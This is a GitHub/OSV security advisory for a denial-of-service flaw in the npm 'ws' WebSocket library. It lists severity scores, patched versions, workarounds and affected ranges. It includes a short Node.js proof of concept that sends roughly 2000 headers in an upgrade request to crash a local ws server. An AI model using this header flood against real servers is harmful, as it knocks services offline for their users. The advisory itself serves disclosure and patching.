GHSA-3h5v-q93c-6h6q

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Source
https://github.com/advisories/GHSA-3h5v-q93c-6h6q
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/06/GHSA-3h5v-q93c-6h6q/GHSA-3h5v-q93c-6h6q.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-3h5v-q93c-6h6q
Aliases
Related
Published
2024-06-17T19:09:10Z
Modified
2024-07-15T22:42:21.998786Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
  • 8.7 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N CVSS Calculator
Summary
ws affected by a DoS when handling a request with many HTTP headers
Details

Impact

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the [--max-http-header-size=size][] and/or the [maxHeaderSize][] options so that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

References

  • https://github.com/websockets/ws/issues/2230
  • https://github.com/websockets/ws/pull/2231
Database specific
{
    "nvd_published_at": null,
    "cwe_ids": [
        "CWE-476"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-17T19:09:10Z"
}
References

Affected packages

npm / ws

Package

Affected ranges

Type
SEMVER
Events
Introduced
2.1.0
Fixed
5.2.4

npm / ws

Package

Affected ranges

Type
SEMVER
Events
Introduced
6.0.0
Fixed
6.2.3

npm / ws

Package

Affected ranges

Type
SEMVER
Events
Introduced
7.0.0
Fixed
7.5.10

npm / ws

Package

Affected ranges

Type
SEMVER
Events
Introduced
8.0.0
Fixed
8.17.1